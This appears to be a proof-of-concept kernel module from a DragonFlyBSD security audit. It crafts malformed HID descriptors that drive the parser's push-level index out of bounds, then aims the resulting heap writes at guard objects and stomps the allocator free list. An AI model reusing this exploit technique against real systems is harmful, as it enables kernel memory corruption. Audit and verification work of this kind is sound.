โฌข DragonFlyBSD Kernel Audit
DF-5406 / hidrig.c
โ† back to finding โ†“ download raw
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
/*
 * DF-5406 verification harness โ€” HID report-descriptor parser
 * push/Pop stack underflow -> OOB `cur[]' indexing in hid_get_item().
 *
 * PRODUCTION code paths exercised (all inside the guest kernel, the
 * module calls the real compiled-in symbols, no copies):
 *
 *   hid_start_parse()   sys/bus/u4b/usb_hid.c:173
 *   hid_get_item()      sys/bus/u4b/usb_hid.c:237
 *     :248   c = &s->cur[s->pushlevel];        <- OOB index on re-entry
 *     :274   *h = *c;                          <- 100-byte OOB read
 *     :289   hid_clear_local(c);               <- 48-byte OOB zero write
 *     :345-346 c->loc.count/size = ...         <- OOB writes (masked dvals)
 *     :402-417 c->logical_minimum/maximum=...  <- OOB writes (arbitrary dval)
 *   hid_end_parse()     sys/bus/u4b/usb_hid.c:195
 *
 * Bug mechanics:
 *   - `pushlevel' is uint8_t (usb_hid.c:88).  `case 10 Push' increments it
 *     UNCONDITIONALLY (:431); `case 11 Pop' decrements it UNCONDITIONALLY
 *     (:445).  Both only *use* it when `< MAXPUSH(4)', so a Pop at level 0
 *     wraps to 255 and 4+ Pushes leave it >= 4 โ€” and the function happily
 *     RETURNS items (:278/:377/:390) with pushlevel out of range.
 *   - On the NEXT call of any hid_get_item() loop (hid_locate :617,
 *     hid_report_size :571, hid_is_mouse :869, every ukbd/ums/uhid/wsp
 *     attach probe), :248 derives c = &cur[4..255] โ€” past cur[4] โ€” and
 *     :289/hid_clear_local + the Global/Local item handlers write through
 *     it.  Attacker (the USB device owning the report descriptor) picks
 *     the index (number of Push/Pop bytes) and the content (item dvals).
 *
 * Descriptor item encodings used below (short items:
 *   byte = (tag<<4)|(type<<2)|size):
 *   0xB4 = Pop          (tag 11, Global, 0 bytes)
 *   0xA4 = Push         (tag 10, Global, 0 bytes)
 *   0x95 = Report Count (tag 9,  Global, 1 byte)
 *   0x81 = Input        (tag 8,  Main,   1 byte)   flags 0x02 = HIO_VARIABLE
 *   0x17 = Logical Min  (tag 1,  Global, 4 bytes)  -> c->logical_minimum
 *   0x27 = Logical Max  (tag 2,  Global, 4 bytes)  -> c->logical_maximum
 *
 * Modes (kern.hidrig_mode, fired by writing 1 to kern.hidrig_fire):
 *   0 = info: struct geometry (sizeof/offsetof)
 *   3 = guard proof: pack same-zone guard objects around the parser
 *       allocation, sweep OOB indices k=11..61, scan guards for the
 *       markers -> deterministic cross-object heap-corruption proof
 *       (no panic needed).
 *   1 = far write + allocator churn: single Pop (index 255, ~24.4 KB
 *       past the object) with read-back, then free-list stomping and
 *       allocation churn -> expect kernel panic.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usbhid.h>

/*
 * Private parser state โ€” VERBATIM copy of usb_hid.c:67-95 so the harness
 * can compute sizeof()/offsetof() for the SAME layout the in-kernel
 * hid_start_parse() kmallocs.  The FUNCTIONS exercised are the guest
 * kernel's own compiled-in symbols (nm: hid_start_parse/hid_get_item T).
 */
#define	MAXUSAGE 64
#define	MAXPUSH 4
#define	MAXID 16

struct hid_pos_data {
	int32_t rid;
	uint32_t pos;
};

struct hid_data {
	const uint8_t *start;
	const uint8_t *end;
	const uint8_t *p;
	struct hid_item cur[MAXPUSH];
	struct hid_pos_data last_pos[MAXID];
	int32_t	usages_min[MAXUSAGE];
	int32_t	usages_max[MAXUSAGE];
	int32_t	usage_last;	/* last seen usage */
	uint32_t loc_size;	/* last seen size */
	uint32_t loc_count;	/* last seen count */
	uint8_t	kindset;	/* we have 5 kinds so 8 bits are enough */
	uint8_t	pushlevel;	/* current pushlevel */
	uint8_t	ncount;		/* end usage item count */
	uint8_t icount;		/* current usage item count */
	uint8_t	nusage;		/* end "usages_min/max" index */
	uint8_t	iusage;		/* current "usages_min/max" index */
	uint8_t ousage;	/* current "usages_min/max" offset */
	uint8_t	susage;		/* usage set flags */
};

static int hidrig_mode = 0;

static void mode_info(void);
static void mode_guard(void);
static void mode_far(void);

SYSCTL_INT(_kern, OID_AUTO, hidrig_mode, CTLFLAG_RW, &hidrig_mode, 0,
    "harness case: 0=info 3=guard-proof 1=far-write+churn");

static int
hidrig_fire(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (val == 0)
		return (0);
	switch (hidrig_mode) {
	case 0:
		mode_info();
		break;
	case 3:
		mode_guard();
		break;
	case 1:
		mode_far();
		break;
	default:
		kprintf("hidrig: unknown mode %d\n", hidrig_mode);
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, hidrig_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hidrig_fire, "I", "write 1 to fire the selected case");

#define HIDRIG_NGUARD 24

/*
 * Build the OOB-trigger descriptor for target index k (4..255):
 *   - k == 255 : one Pop byte  (underflow 0 -> 255)
 *   - else     : k Push bytes  (over-push 0 -> k)
 * then `Report Count 1' + `Input(VAR)' so the FIRST hid_get_item() call
 * returns an item while pushlevel stays out of range.  The next call
 * re-derives c = &cur[k] (OOB) and:
 *   - hid_clear_local() zeroes cur[k]+4..+52
 *   - Logical Min/Max write the markers at cur[k]+4 / cur[k]+8
 *   - (readback) a trailing Input returns *h = *c โ€” the harness prints
 *     h.logical_minimum == marker1 read back from OOB memory.
 */
static int
build_oob_desc(uint8_t *d, int k, uint32_t m1, uint32_t m2, int readback)
{
	int n = 0, i;

	if (k == 255) {
		d[n++] = 0xB4;			/* Pop @ level 0 -> 255 */
	} else {
		for (i = 0; i < k; i++)
			d[n++] = 0xA4;		/* Push x k -> level k */
	}
	d[n++] = 0x95; d[n++] = 0x01;		/* Report Count 1 */
	d[n++] = 0x81; d[n++] = 0x02;		/* Input(VAR): item #1 returns */
	/* ---- hid_get_item() call #2: c = &cur[k] (OOB) ---- */
	d[n++] = 0x17;				/* Logical Minimum, 4B */
	d[n++] = (uint8_t)m1; d[n++] = (uint8_t)(m1 >> 8);
	d[n++] = (uint8_t)(m1 >> 16); d[n++] = (uint8_t)(m1 >> 24);
	d[n++] = 0x27;				/* Logical Maximum, 4B */
	d[n++] = (uint8_t)m2; d[n++] = (uint8_t)(m2 >> 8);
	d[n++] = (uint8_t)(m2 >> 16); d[n++] = (uint8_t)(m2 >> 24);
	if (readback) {
		d[n++] = 0x95; d[n++] = 0x01;	/* Report Count 1 */
		d[n++] = 0x81; d[n++] = 0x02;	/* returns *h = *c (OOB read) */
	}
	return (n);
}

static void
drive_desc(const uint8_t *d, int len, int quiet, struct hid_data **s_out)
{
	struct hid_data *s;
	struct hid_item h;
	int n = 0;

	memset(&h, 0, sizeof(h));
	s = hid_start_parse(d, len, 1 << hid_input);
	if (s == NULL) {
		kprintf("hidrig: hid_start_parse failed\n");
		if (s_out != NULL)
			*s_out = NULL;
		return;
	}
	if (!quiet) {
		size_t cur_off =
		    (size_t)((uintptr_t)&((struct hid_data *)0)->cur[0]);
		kprintf("hidrig: hid_data=%p size=%zu cur=%p(+%zu) "
		    "cur[255] would be %p\n", s, sizeof(*s),
		    &s->cur[0], cur_off,
		    (uint8_t *)s + cur_off +
		    255 * sizeof(struct hid_item));
	}
	if (s_out != NULL)
		*s_out = s;
	while (hid_get_item(s, &h)) {
		n++;
		if (!quiet)
			kprintf("hidrig:   item %d: kind=%d "
			    "logmin=0x%08x logmax=0x%08x pos=%u size=%u "
			    "count=%u\n", n, h.kind, h.logical_minimum,
			    h.logical_maximum, h.loc.pos, h.loc.size,
			    h.loc.count);
	}
	hid_end_parse(s);
}

/* ---- mode 0: geometry ------------------------------------------------ */
static void
mode_info(void)
{
	size_t cur_off = (size_t)((uintptr_t)&((struct hid_data *)0)->cur[0]);

	kprintf("hidrig: sizeof(struct hid_data)=%zu  sizeof(struct hid_item)=%zu\n",
	    sizeof(struct hid_data), sizeof(struct hid_item));
	kprintf("hidrig: offsetof(hid_data, cur)=%zu  MAXPUSH=%d MAXID=%d "
	    "MAXUSAGE=%d\n", cur_off, MAXPUSH, MAXID, MAXUSAGE);
	kprintf("hidrig: &cur[k] offset = %zu + k*%zu; alloc size %zu\n",
	    cur_off, sizeof(struct hid_item), sizeof(struct hid_data));
	kprintf("hidrig: cur[11]=+%zu cur[21]=+%zu cur[255]=+%zu  "
	    "(object ends at +%zu)\n",
	    cur_off + 11 * sizeof(struct hid_item),
	    cur_off + 21 * sizeof(struct hid_item),
	    cur_off + 255 * sizeof(struct hid_item),
	    sizeof(struct hid_data));
}

/* ---- mode 3: guard-object cross-corruption proof ---------------------
 *
 * Deterministic, no heap-layout luck:
 *  1. zero a 600-byte descriptor buffer and hid_start_parse() it โ€” the
 *     parser chunk is now LIVE and its address known;
 *  2. allocate guard objects (same kmalloc size class) โ€” they pack the
 *     chunks neighbouring the parser;
 *  3. measure the parser->guard delta, compute the OOB index k whose
 *     cur[k].logical_minimum write (+24+100k+4) lands mid-guard;
 *  4. write the trigger descriptor INTO THE SAME BUFFER (the parser has
 *     consumed nothing yet โ€” exactly like a real device, whose descriptor
 *     bytes are only read as parsing proceeds);
 *  5. drive hid_get_item() โ€” the OOB write now lands in a chosen,
 *     already-allocated guard object; scan all guards.
 */
static void
mode_guard(void)
{
#define HIDRIG_NPRE  8
#define HIDRIG_MAXG  96
	uint8_t *g[HIDRIG_MAXG];
	size_t gz = sizeof(struct hid_data);
	uint8_t desc[600];
	struct hid_data *s;
	struct hid_item h;
	int i, k, len, hits = 0, n, nguard = 0;
	long best = -1;
	int best_i = -1;
	uint32_t m1, m2;

	memset(g, 0, sizeof(g));
	memset(desc, 0, sizeof(desc));

	/* pre-guards + live parser allocation (nothing parsed yet) */
	for (i = 0; i < HIDRIG_NPRE; i++) {
		g[nguard++] = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		memset(g[nguard - 1], 0xAA, gz);
	}
	s = hid_start_parse(desc, sizeof(desc), 1 << hid_input);
	if (s == NULL) {
		kprintf("hidrig: hid_start_parse failed\n");
		goto free;
	}

	/* keep allocating guards until one lands ABOVE the parser chunk
	 * (cur[k] writes only go to positive offsets) */
	while (nguard < HIDRIG_MAXG) {
		g[nguard++] = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		memset(g[nguard - 1], 0xAA, gz);
		for (i = 0; i < nguard; i++) {
			long d = (long)((uintptr_t)g[i] - (uintptr_t)s);
			if (d > 0 && d < 20000 && (best_i < 0 || d < best)) {
				best = d;
				best_i = i;
			}
		}
		if (best_i >= 0)
			break;
	}
	kprintf("hidrig: live parser chunk s=%p (size %zu), %d guards\n",
	    s, gz, nguard);
	if (best_i < 0) {
		kprintf("hidrig: no guard landed above s\n");
		hid_end_parse(s);
		goto free;
	}
	kprintf("hidrig: target guard[%d]=%p delta=%+ld above s\n",
	    best_i, g[best_i], best);

	/* cur[k].logical_minimum is at offset 24+100k+4 โ€” aim mid-guard */
	k = (int)((best + (long)gz / 2 - 28) / 100);
	if (k < 11 || k > 254) {
		kprintf("hidrig: computed k=%d out of range\n", k);
		hid_end_parse(s);
		goto free;
	}
	m1 = 0xC0DE0000u + (uint32_t)k;
	m2 = ~m1;
	kprintf("hidrig: target index k=%d: marker 0x%08x at s+%d "
	    "= guard[%d]+%ld\n", k, m1, 24 + 100 * k + 4, best_i,
	    (long)(24 + 100 * k + 4) - best);

	/* write the trigger into the descriptor buffer the parser is
	 * anchored to, then drive it */
	len = build_oob_desc(desc, k, m1, m2, 0);
	kprintf("hidrig: firing %d-byte descriptor\n", len);

	n = 0;
	while (hid_get_item(s, &h))
		n++;
	kprintf("hidrig: parse done, %d items returned\n", n);
	hid_end_parse(s);

	for (i = 0; i < nguard; i++) {
		size_t off;
		for (off = 0; off + 4 <= gz; off += 4) {
			uint32_t v =
			    *(volatile uint32_t *)(void *)(g[i] + off);
			if (v != 0xAAAAAAAAu) {
				kprintf("hidrig: GUARD %2d base=%p +0x%04zx: "
				    "0x%08x  <-- CROSS-OBJECT CORRUPTION\n",
				    i, g[i], off, v);
				hits++;
				break;
			}
		}
	}
	kprintf("hidrig: guard scan done: %d/%d guards corrupted\n",
	    hits, nguard);
free:
	for (i = 0; i < nguard; i++)
		kfree(g[i], M_TEMP);
	kprintf("hidrig: mode 3 complete\n");
#undef HIDRIG_NPRE
#undef HIDRIG_MAXG
}

/* ---- mode 1: far write (k=255) + allocator churn --------------------- */
static void
mode_far(void)
{
	uint8_t *g[64];
	uint8_t desc[600];
	size_t gz = sizeof(struct hid_data);
	uint32_t m1 = 0xFEED0001u, m2 = 0xFEED0002u;
	int i, len;

	kprintf("hidrig: mode 1 phase A: single Pop -> cur[255], "
	    "+%zu past the %zu-byte object\n",
	    (size_t)(24 + 255 * sizeof(struct hid_item) +
	    sizeof(struct hid_item)) - gz, gz);
	len = build_oob_desc(desc, 255, m1, m2, 1);
	drive_desc(desc, len, 0, NULL);
	kprintf("hidrig: phase A done (last item logmin should read "
	    "0x%08x back from +24.4KB OOB memory)\n", m1);

	kprintf("hidrig: phase B: allocator churn (free-list stomp)\n");
	for (i = 0; i < 64; i++) {
		g[i] = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		memset(g[i], 0xAA, gz);
	}
	/* free every other guard: their in-body freelist links are live */
	for (i = 0; i < 64; i += 2)
		kfree(g[i], M_TEMP);
	/* corrupt across the freed region with a wide sweep */
	for (i = 11; i <= 61; i += 5) {
		len = build_oob_desc(desc, i,
		    0xBAADF00Du + (uint32_t)i, 0x0BADC0DEu, 0);
		drive_desc(desc, len, 1, NULL);
	}
	/* churn the zone: allocator walks whatever we clobbered */
	for (i = 0; i < 256; i++) {
		void *p = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		if ((i % 32) == 0)
			kprintf("hidrig: churn alloc %d ok (%p)\n", i, p);
		kfree(p, M_TEMP);
	}
	kprintf("hidrig: mode 1 complete (no trap in churn)\n");
}

static int
hidrig_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("hidrig: loaded (DF-5406 harness), "
		    "sysctl kern.hidrig_mode / kern.hidrig_fire\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("hidrig: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t hidrig_mod = { "hidrig", hidrig_load, NULL };
DECLARE_MODULE(hidrig, hidrig_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);